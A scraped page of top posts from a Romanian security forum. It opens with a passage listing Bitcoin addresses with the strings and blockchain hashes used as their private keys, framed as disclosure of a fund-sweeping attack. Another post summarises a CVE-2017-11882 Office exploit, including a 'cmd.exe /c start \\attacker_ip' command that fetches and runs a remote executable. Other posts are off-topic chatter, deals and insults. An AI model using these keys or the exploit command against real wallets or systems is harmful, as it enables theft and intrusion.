Sha256(14nuZCWe76kWigUKAjFxyJLFHQyLTsKXYk) 1LzGrd5QX1rG5fk7143ps9isUTEwGyzRJE Sha256(19cMyj9KqVq78yZe32CNhgpyuGLMwM9X8S) 153jMRXn251WyxT9nmJW2XDsFUJ648jyY5 Sha256(1PF2gQPPAwQDfTrSuNX6t8J381D7s3bGFu) 1EFBsAdysTf81k72v9Zqsj3NMuo6KoWD2r Sha256(1BBBvd9G5YThYVVMSGSxJzQvQiQm3WxJC2) 14mRxKmeEw9DCBbpR596FYmfZVdBD8MJxh Sha256(1PLpQDyqDUcpK6fWpRhkkFVBw4tSK4sHkS) 1Hg9pi75XWAT9pB3faXQFKKZbh98cbM5m Sha256(1JoshVWQDa7DzXqN3wQ9dbig5WEfaAzHcM) 1PcExYX3mUJ1rwa4aTLNJUpxqRLU8MxPXm Sha256(1LTZ9kaxRHBZH43eSmZ2KoGLHHUBV3P2S5) 1J9SzdYMZFsLqunQfPAswzogLNBitbREMD Sha256(1A7grBEjor6Sapj8KRbEGj2UrbnNt1Usxo) 1FNF3xfTE53LVLQMvH6qteVqrNzwn2g2H8 Sha256(1H21ndKEuMqZbeMMCqrYArCdV8WeicGehB) 1Q2a1ytfujskCEoXBsjVi1FqKWHegfFKwD Sha256(1LzGrd5QX1rG5fk7143ps9isUTEwGyzRJE) 1PfcpvjYUGu4yvpkEHmAKgDXtsLfSNyzvV Sha256(153jMRXn251WyxT9nmJW2XDsFUJ648jyY5) 1M2uEGihcwUPiRGETE7vF8kUiS2Z4rtV2Q Sha256(1HqQBiqgFK6ChJ2Vq7kbWRCbc73cjyNXv5) 1Kka5bgXvpHTNDsPmhLPHae2qcK9mLS2qS Sha256(1E3D7NabEX971uV2gXT47rWQwPm3zbmvd8) 17hMEK4i8Nsi56huBU4i9N4Gjiw5G6X5iG Sha256(1Nk6a8ZfN86gaHJifcF8iGahx4scCKkwF5) 1DT4Q4ocUFgekXvBqBM6kFmvQYB6Y4PnHo Sha256(19aNbfFfZEWwstuy97C1GsHHELNCxZSEYV) 1CSMVivJfFynvbZRrLFHVGnehpXLUjdGRc Sha256(1p4gsrzTc3mFAgJKYqMzhm6UsJzhgy1KX) 17SaWquajZZBRF5qz6HuXMRt6gvnrDyoqE Sha256(1C1KjGATUXP6L6nnGTAh4LQcnSyLt13XyB) 16eePivj1nTVvLpBGkmFoeGxNyMU7NLbtW Sha256(1K79KaFs4D6wqz1wjP1QoYiY18fw8N3bZo) 1PF2gQPPAwQDfTrSuNX6t8J381D7s3bGFu Sha256(1J9Gtk5i6xHM5XZxQsBn9qdpogznNDhqQD) 1GSkK6KBVSycEU57iK6fRvSXYJ4dgkkuNt Sha256(1JZwnSQz64N3F9D3E24oS4oGhSxMWDsXYM) 12eGusvkCcJb2GWqFvvE1BLDJ8pVX49fQv Sha256(197HxXUSehthdqXM6aEnA1ScDSCR7tQmP3) 134Kia3XhZV6oXE4EUvjc1ES8S8CY7NioU Sha256(1PVn2gxgYB8EcjkpJshJHfDoBoG8BntZWM) 1HMGSkDB9ZhRoUbSEEG6xR7rs9iPT2Ns5B Sha256(1E4yLggKcgHcpSKX336stXWgheNU2serVz) 13qsbkaJM7TkA5F2dsvHeGVQ7kCo74eGxh Sha256(1FAv42GaDuQixSzEzSbx6aP1Kf4WVWpQUY) 1Jsz6mahqVMJn2ayWzN6TfeWTti9tqfbSM Sha256(18AsiEQoLLKaF4Co1z4rxHyzJu9oqTVbFE) 1BwjscJC3P47uW5GXR7tjeHkdXQk6CuAFb Sha256(1JuP7JXhHabGLVAqp9TJj5N171qLVHrcVq) 17kYPYbELyVfMSYihD4YETJSZq5yCs3diM Sha256(1HzJPqLEpbeXiYhyoA8M8cuuds3FEAnw3B) 1C9HtVz7H8NArfV613wQNHs4PrK2oLZEYh Sha256(1EGeEk4YUrXyDL4zNXpWdqJopoVxs2vExJ) 16bEBNuc7JQ4QzyoFAkmxdVvW4wJqicjVN Sha256(12GvGqEQuQTW4Rr8dZ1o397KAYCMGWPYkq) 141V8fK9Kuofit8AXh9SLV9N9bLTfftETA Sha256(15nXjzf8EXy8Lji3czM1HAVw14mEKoEiTw) 19cMyj9KqVq78yZe32CNhgpyuGLMwM9X8S Sha256(17FaMY613bKfwhrdTv5PHnucSGTJBcw3k5) 1CRq6nj3a7vXdJJN2YSWdW6fVwydr6kqWs Sha256(1J1ZPHbbEwgcwniH3F7AgBeFZxQXJoKCGf) 1BVNt39u32LLkxMvBeBHXXNaTJqWe1Xcu5 Sha256(17iLALAyra1W5KSUjjkGN5LeUsWdeoQQx3) 1Mpw88XWQzLTZnq1eNs5SegZYGJu5Epky8 Sha256(1LeuaozTUT5UJX6DD4Q1VJsHh6aHpZ3YRU) 1LkwU9xbVroLkH9EvxDfmMnsCikQzaUv9S Sha256(16bEpxSc1FDyQDXR7ZYKbyyDDxzyaaCnNS) 1D97u8Pet8YmNwKaCPUXLyi4zk1HnLF5RQ Sha256(137XrofaWZhaZW2uB7eDsPjcwCNMTXVLot) 1KyUNmmJu3JjauVEZQUYLUEBg48GXXS1ii Sha256(17S3XjtEFXQoGdXnUjJJtGB1D7PTa9SsLZ) 1HwxL1vutUc42ikh3RBnM4v2dVRHPTrTve Sha256(1FfmbHfnpaZjKFvyi1okTjJJusN455paPH) 137XrofaWZhaZW2uB7eDsPjcwCNMTXVLot Sha256(1JvaK7jYWFNbDsJZLarXnq1iVicFW4UBv5) 1FXi6kEJjnZUBqpwjVJKPsgVHKag86k6qq Sha256(1FEYXtchFFJft6myWc6PyxLCzgdd8EHVUK) 1Gj2uRnxDztM7dTDQEUQGfJg4z5RtAhECh Sha256(1ESkNMa9Z37of4QdJmncvibrXxZ7suPjYm) 1JhWnRjRm7AhbvSBtEifcFL8DkEKQiWRZw Sha256(13Q8rTtdGUUt8Q8ywcEffj4oiNrY6ui3cu) 131XQfvE7E1NzdRQnE8XFmtkxWVRXTsb9q Sha256(1FLeb3zCVG63NYAMBiUoqKYgW1tUwgMMfF) 167dyxowdWwBdofck3WuAwvUpVfn2ewx8Q Sha256(1FFAdm2BWoCfTkTwFLJ4o3b5xG7cuRxbWb) 1CVunYyUpeCFcGAYdHrDNrXcQFBVU8gyo9 Sha256(1BEYFim8uoJ7FAZG6m1E1hqLwKjfVwnWU1) 14XAGCAeUxieSzvGK3TX915PJLvX54n2Pd Sha256(17XQfW1R66aRBNYyJMwzn7zLf3D6sZgda3) 1M5jhEDKQCYbMCXHgcRUmaxwqYmcbrEfGD Sha256(1AixDffKCd1cV1tz1sp8fwJQDEAYCWzQcR) 1HPnYqbMvV4bGRcpSP28mMyekhjKiudcFY Sha256(1C91NNyzXE1dBC4dDKjx6y5VnhihifrpCY) 15XWgB1biKGd1JyuYecobfFtfBcVt6Jnok Sha256(1268xJ8iYUdRxK2vArkyoa5es6bR99hjhR) 1NHvPBaxKFuDec27mWcyCf7szUUvNnfimK Sha256(1LdgEzW8WhkvBxDBQHdvNtbbvdVYbBB2F1) 1AoocdeZC64PaQ15Gbv1kXyYYnN8FWXAST Sha256(1Et9zapAxsBLJ3bvY7LDTuHif5cH7mZiBE) 1NWCqz8nr8ZRZt1zEKidyWcZDyNtK3THps Sha256(17Xok12pBFkXxNcE8J4gTSm3YKkatyX4ad) 1Lv6T9RegiNHpES1DHu6AasDcUqp2SeqLb Sha256(1LDqitspsYaiLH6AMW5EzJYuZG5vTGzRNg) 16FKGvEtu5KPMZqiTK4yjmsSZsJLyxz9fr Sha256(1CRWfJdgVrfKLRS4G3vTMRhEQrCZZyHNMo) 14JpZ9Bogo4p83xt6cKS1Fh1rLSFRat8PN Sha256(1FBxoyGYaC9GEKLokfyrHUbZyoZmmm1ptJ) 1BEYFim8uoJ7FAZG6m1E1hqLwKjfVwnWU1 Sha256(1PfcpvjYUGu4yvpkEHmAKgDXtsLfSNyzvV) 1P9ZZGDG1npYd4d7jiCfPya6LQGkF5sFm7 Sha256(1LFGKkDZ21FZVsBh1A1S5Xr6aXuV3x9N4k) 1JvaK7jYWFNbDsJZLarXnq1iVicFW4UBv5 Sha256(1LdkWzq9DxopPkY1hCmQ3DezenP5PQLNC3) 15RjQKt6D4HBn87QqgbyvhKFNDDjXncp8Y Sha256(1PhmMsdwamJA6soKw5mNMXxzGomHEHWY5P) 1G7B5eVnAQgeuGrKxcRnrmEqPLsjRkgnVF Sha256(1D97u8Pet8YmNwKaCPUXLyi4zk1HnLF5RQ) 192qwAD31JB9jHiAwaTDkd6teb2hLAkY3b Sha256(1PhqA75qNM23aH9zV3uWvUhDbdwcab6q5L) 13mbvCyxCYvATNzranCkQdpCT19VGpMFZa Sha256(1F3sAm6ZtwLAUnj7d38pGFxtP3RVEvtsbV) 1HJx3CqdaHAX6ZYRBHDvM5skg2Vh7GeZBD Sha256(1KrutzZZ7rth6D9wasfGz2oy9R6k1RCL9n) 1HBsFJ9VngvMjaKZjbFhNRaegkjF9NBEe Sha256(1CVunYyUpeCFcGAYdHrDNrXcQFBVU8gyo9) 1KiGdZ9TUeWyJ3DyHj7LQLZgjvMHd6j2DZ Sha256(18SV4DVmytRDYB5JBAFkewUbVAp6FRpi5c) 13FzEhD3WpX682G7b446NFZV6TXHH7BaQv Sha256(1E1rSGgugyNYF3TTr12pedv4UHoWxv5CeD) 1LVRWmpfKKcRZcKvi5ZGWGx5wU1HCNEdZZ Sha256(1CVPe9A5xFoQBEYhFP46nRrzf9wCS4KLFm) 1HhNZhMm4YFPSFvUXE6wLYPx63BF7MRJCJ Sha256(145Sph2eiNGp5WVAkdJKg9Z2PMhTGSS9iT) 1G6qfGz7eVDBGDJEy6Jw6Gkg8zaoWku8W5 Sha256(18EF7uwoJnKx7YAg72DUv4Xqbyd4a32P9f) 1MNhKuKbpPjELGJA5BRrJ4qw8RajGESLz6 Sha256(15WLziyvhPu1qVKkQ62ooEnCEu8vpyuTR5) 18XAotZvJNoaDKY7dkfNHuTrAzguazetHE Sha256(15SP99eiBZ43SMuzzCc9AaccuTxF5AQaat) 1HamTvNJfggDioTbPgnC2ujQpCj4BEJqu Sha256(14nuZCWe76kWigUKAjFxyJLFHQyLTsKXYk) 17iqGkzW5Y7miJjd5B2gP5Eztx8kcCDwRM Sha256(1MB3L1eTnHo1nQSN7Lmgepb7iipWqFjhYX) 15M7QfReFDY2SZssyBALDQTFVV1VDdVBLA Sha256(16bjY7SynPYKrTQULjHy8on3WENxCmK4ix) 1LgwKwv9kt8BwVvn6bVWj8KcqpP9JSP1Mh Sha256(1Q81rAHbNebKiNH7HD9Mh2xtH6jgzbAxoF) 1pmZwNDZjpuAqW3LjYYQCEjbQYBtSxzWc Sha256(13PctMqzyBKi5CpZnbastHQURrSRrow4yj) 1qA59Na3WysruJbCPoomryDRCtJ4f4aLu Sha256(1HBsFJ9VngvMjaKZjbFhNRaegkjF9NBEe) 19QBydCuMiY7aRTbkP2tb3KQJUWkTrr5Xi Sha256(1JwSSubhmg6iPtRjtyqhUYYH7bZg3Lfy1T) 11EuerTwe9rxtT3T56ykX5K7J3AksPzU3 Sha256(14PnZgX8ZDABJZ8RnatkK7DQzdpkwRRPX2) 13JNB8GtymAPaqAoxRZrN2EgmzZLCkbPsh Sha256(1LGUyTbp7nbqp8NQy2tkc3QEjy7CWwdAJj) 1Ads6ZWgRbjSCZ37FUqcmk82gvup1gQurB Sha256(1NbBTJQ5azGEA1yhGnLh39fE8YoEbePpCm) 1LWU4SbnqnfctAMbtivp2L98i8hSSCm7u7 Sha256(1MVqDAJo8kbqKfTJWnbuzvfmiUXXBAmX3y) 12B1bUocw8rQefDcYNdckfSLJ6BsUwhRjT Sha256(1Pjg628vjMLBvADrPHsthtzKiryM2y46DG) 12GZz1D1kdX3Fj7M87RFvqubam8iGrK77R Sha256(1Lu49ZKmGoYmW1ji3SEqCGVyYfEw7occ86) 13wY5CtwQhd7LYprEpFpkt1g9R7ErMkAwT Sha256(1NPSWKXdnHa17NWTU3J6nVkyogZjmAh7N6) 1Kc324Y6UUMffeYdtuXgzVC28Kx3U8cqQk Sha256(1HAQB99WfrV2ttRjttUPMzRi4R1uC2ftMy) 1Gwz14Cty45h3hZ4nCEno6jSdxtQn5bc7h Sha256(1PDgY5PkpBNCZVWKKAq3cbGyqvwwN91z4g) 1L2a5n9ar7e2v3Wz6NDFnxisigvR6urGaY Sha256(1KxUVU9DKfdaTLMnXBLS5BZRf56cFnRosk) 1KwUfu3gGk7n8Wz969tAztvvM4Mp4ZY57s Sha256(12XuaKzEheWbFJBno9QiV6kPCWrnWpUYTK) 13JNB8GtymAPaqAoxRZrN2EgmzZLCkbPsh Sha256(1LGUyTbp7nbqp8NQy2tkc3QEjy7CWwdAJj) 12fcWddtXyxrnxUn6UdmqCbSaVsaYKvHQp Sha256(16SH69WgJCXYXWV58sxjTxonhgBh5HCZTt) 1MkaTR3642ofrstePom5bbwGHbuQJmrnGD Sha256(1BynBc2YUAoNcvZLWi24URzMvsk7CUe2rc) 114LdauSAu2FTaR2ChPsPTRRhjYD9PZzn2 Sha256(144BV4Y7tgnetk5tDKAYTGS4mjprA75zJz) 1NzWscae8v3sKmTVJYwq8yhkizK8hUS5qP Sha256(1ENCBKFsqxJVCqR2TS1WfDV3rDi6zA8J6Y) 1FjEL7TBazaJN7WyND4uwq9wiaWDzfizkP Sha256(1PeCGFsJgqz8CcjGugGq5bPBiRDXUZHLUH) 1FP8j4zUPoJkpKwYpd8zYGHVaKygRHzx3d Sha256(1ERdvKTCxP1gZvdNndLKtYotW7qpR3xhuQ) 16nXouTPm5gVedr4Betb8KRWLSBtmXGUbD Sha256(16oTV1jZPJ5wm3QLhN96xVF7DchihmpL1k) 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit Sha256(1Ca15MELG5DzYpUgeXkkJ2Lt7iMa17SwAo) My bot moved coins from the last two addresses only. (No one has claimed ownership from 16nX). All other transfers were the result of other people who either figured this out or are the ones who planted the bad addresses themselves (since 2014). And these are some recent examples of private keys that are based on other information from the blockchain itself (as stated, may be completely unrelated but still happening on a regular basis). 1LUqqMzaigWJTzaP79oxsD6zKGifokrh7p c193edeeb4e7fb5c3e01c3aebd2ec5ac13f349a5a78ca4112ab6a4cbf8e35404 txid 1FQ9AneLGfhFf9JT5m5sg5FaYFeJrGmJhS 00000000000000000045fa3492aee311171af6da7d05a76c6eaadab572dc1db9 Block Hash 1DhcPvYWBGwPFEsAJhXgdKtXX7FFGGeFVS 00000000839a8e6886ab5951d76f411475428afc90947ee320161bbf18eb6048 Block Hash 198MRUHD2cvgUTBKcnroqmoTSs4b8xyLH9 7dac2c5666815c17a3b36427de37bb9d2e2c5ccec3f8633eb91a4205cb4c10ff Markel Root 19FHVnoNYTmFAdC2VC7Az8TbCgrSWSP1ip 000000000000000000db717b4c076da2d1b9ff8ddbc94132e3a8d008a0fb62b9 Block Hash 1Lr2yEny7HYJkXdFgJ2D8zHyNH1uHMi4w4 2bedfd92a6136566bb858b2f0d223744a41a987c468356d069acc86f45bf68ac txid 1QBbjKxRk1jP36WYpFkJjgzhvVSDBMWjy2 f1599a1ced833d95a54aa38a1a64113d5f0a4db3cb613ef761180cab57155699 txid 1BFYNokepXjbb9Han2AGfSTNKNNU9vgAAn 533da7e41bd99550f63f152ef1e613f1a78e3bed12788664d536c6ec42b5e0aa txid 1MJtsgDNrrFWS3qxtrPr6BnQUdp1qPjyEm 216fb568589629b115b0ed8fc41fdf3219d9ab804c6ce5e53fbc581a88427c3f txid 14syDBvpGXS6PtWytkDJF2QACvSggEZ277 a7f4def1c7ff07d17b5dd58fc92f18ee2dbee6dc7654fd30a8653bd9d848f0a0 txid 1QBbjKxRk1jP36WYpFkJjgzhvVSDBMWjy2 f1599a1ced833d95a54aa38a1a64113d5f0a4db3cb613ef761180cab57155699 txid 1BkHAUcfrZLRLyXHiBn6XRoppPqSzuf8hE 805cd74ca322633372b9bfb857f3be41db0b8de43a3c44353b238c0acff9d523 txid 1CNgVFjAwHT7kc6uw7DGk42CXf1WbX4JQm 53d348ca871dc1205e778f4d8e66cfdadbd105782dba6688e9a0b4bdee4763e4 txid 1HjDAJiuJ8dda919xwKBqphhEwBVGfzMGt 0aad1b00a5227d9b03d33329a5a11af75c75c878a064c69b276063cbea677514 txid 1PDnrPSCw9eWTtJss4DhYoLTk4WUmZQdBi f87b08218888f97388218d3e2489962403f7eece98dd8b4733671edeb9ad1a7c txid 1MJp4z3ig498hNATfgHBAnLFhwoZpvw118 000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f Block Hash I think this information should be made public so that other backend systems plugged into crypto networks can guard against this sort of 'hide in plain sight' attack. As stated earlier, I honestly set out to look for buried treasure and stumbled upon someone else's exploit. Thanks to yt_coinartist's assistance in making this public. e8d064874c37ce44f13a880b93b548b83342c99e1530dd746322777f88397ed8 Going dark now....bye. Sursa: https://pastebin.com/jCDFcESz
  35. 3 points
    Mie îmi place cu finalizare. 😏
  36. 3 points
    "Real smart contracts" "20 000 TPS" "More info soon" Cam suna a scam. Daca faci astfel de promisiuni fara sa pui macar o idee de specificatie sau validare a "blockchainului" tau. Scuze de offtopic. Doar cred ca suna prea bine sa fie ceva real. Edit: Daca le citesti whitepaperul observi ca toate nodurile din retea sunt detinute de ei, iar un nod trebuie sa fie validat si semnat de ei. Deci s-a dus pe pl descentralizarea si valoarea monedei cand toate nodurile sunt detinure de ei. Ps: ei pot rescrie blockchainul daca au chef. In plus softwareul nu e open source.
  37. 3 points
    This talk was performed on 7 July 2017 at Camp++ 0x7e1, MKV downloads and presentation slides are available at https://camp.hsbp.org/2017/pp7e1/fahrplan/events/31.html
  38. This post cannot be displayed because it is in a forum which requires at least 10 posts to view.
  39. 3 points
    Te-a luat de prost, si te-a prostit si mai tare.Da-i un sut in cur si divorteaza, sigur vei gasi 100 de alte "pisi" ca ea pe care sa le plimbi cu meleul.
  40. 3 points
    In caz ca vrei sa te asiguri ca aspectul amoros al vietilor voastre este in concordanta cu cel social, recomand:
  41. 3 points
    Oferta de la Shodan, upgrade lifetime cont premium pentru 5$, in loc de 49$, Include: -all add-ons (HTTPS, Telnet, up to 10000 search results) - 20 export credits - Shodan maps, images, command-line - free copy of Shodan book
  42. 3 points
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  43. This post cannot be displayed because it is in a forum which requires at least 10 posts to view.
  44. 3 points
    iti cumpar eu site-ul daca imi dai si profilul fetei din screen
  45. 3 points
    Microsoft Office - OLE Remote Code Execution Exploit CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882 Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html DEMO PoC exploitation: webdav_exec CVE-2017-11882 A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution. The first command which triggers WebClient service start may look like this: cmd.exe /c start \\attacker_ip\ff Attacker controlled binary path should be a UNC network path: \\attacker_ip\ff\1.exe Usage webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name Sample exploit for CVE-2017-11882 (starting calc.exe as payload) example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system. Download: CVE-2017-11882-master.zip or git clone https://github.com/embedi/CVE-2017-11882.git Mirror: webdav_exec_CVE-2017-11882.py Source
  46. 3 points
    Ai un medicament "anti-cancer" si ai nevoie de promovare? Daca era bun nu se promova singur? Pleaca de-aici daca incerci sa te imbogatesti de pe urma celor care sufera de asa ceva vanzandu-le gogosi.
  47. 3 points
    Du-te in pastile ma-tii! Cacaturi de furat telefoane in anglia cu tiganii? Sper sa te prinda garda si sa belesi pula!
  48. 3 points
    Păi stai. Dacă la un mil de like-uri ai un impact de aproximativ 300-1000 de like-uri la o postare din ce am văzut, e foarte puțin. Adică zic că dacă ai un cont de pizdă cu 2000 de fani și postezi o țâță, ai sigur 1500 de like-uri, față de a ta cu 900 și peste un milion de like-uri. Zic și eu. Cum ziceau și băieții poate vinzi numărul în sine de like-uri al paginii, că altfel nu face nici pe departe atât cu reach-ul ăla al postărilor. Gândește-te că dacă cineva are un produs, de 150 de sute de coco face mult mai multe conversii decât dacă ți-ar cumpăra ție pagina, chiar pe termen lung vorbind. Spor la vânzare!
  49. 3 points
    Poate iti iese si tie de un pateu. Telefon mobil Samsung Galaxy S7, 32GB, 4G, Black, 1.000 de bucăți la 1.499,99 de lei https://www.emag.ro/...m/pd/DJXR03BBM/ Combina frigorifica Arctic AK54270+, 262 l, H 170.5 cm, Clasa A+, 500 de bucăți la 599,99 de lei https://www.emag.ro/...0/pd/DQFG82BBM/ Detergent capsule Ariel Pods 3 in 1, 3 X 39 spălări, 4.000 de bucăți la 89,99 de lei https://www.emag.ro/...3/pd/DVBYB0BBM/ Consola Microsoft Xbox One Slim 500 GB, 500 de bucăți la 599,99 de lei https://www.emag.ro/...0/pd/D01LQ7BBM/ Acumulator extern A+, 10.000 mAh, 5.000 de bucăți, la 39,99 de lei https://www.emag.ro/...w/pd/DF3W42BBM/ Televizor LED Nei, 81 cm, HD, 1.000 de bucăți la 399,99 de lei https://www.emag.ro/...0/pd/DTFY6NBBM/ Tigaie wok Tefal Only Cook, 28 cm, thermo-spot, 3.000 de bucăți la 49,99 de lei https://www.emag.ro/...5/pd/DVWK9NBBM/ Laptop Lenovo IdeaPad, procesor Intel Celeron N3060 frecventa 2.48 GHz, ecran 15.6", memorie 2GB, hard disk 500 GB, Intel HD Graphics 400, Black, 500 de bucăți la 499,99 de lei https://www.emag.ro/...i/pd/DC6DSNBBM/ Aparat de gătit cu aburi și blender Philips-AVENT SCF870/22, 1.200 de bucăți la 349,99 de lei https://www.emag.ro/...2/pd/E1TNKBBBM/ Anvelopa iarna Orium 601 185/65 R15 88T, 1.000 de bucăți la 99,99 de lei https://www.emag.ro/...1/pd/D9TB92BBM/ Selgros http://www.selgros.ro/catalog/black-friday-nr-46?id=115#book/page/1 Flanco https://drive.google.com/open?id=154xgZNJEXFoWh2HMdVm7mVRf-3oSxHxM >adunate de pe net. >getagolf.com >donatii >bf >muie profitshare.
  50. 3 points
    Esti sigur ca ai pus preturile corect si nu ai o problema la tastatura? Se tot apasa "k" dupa fiecare cifra....
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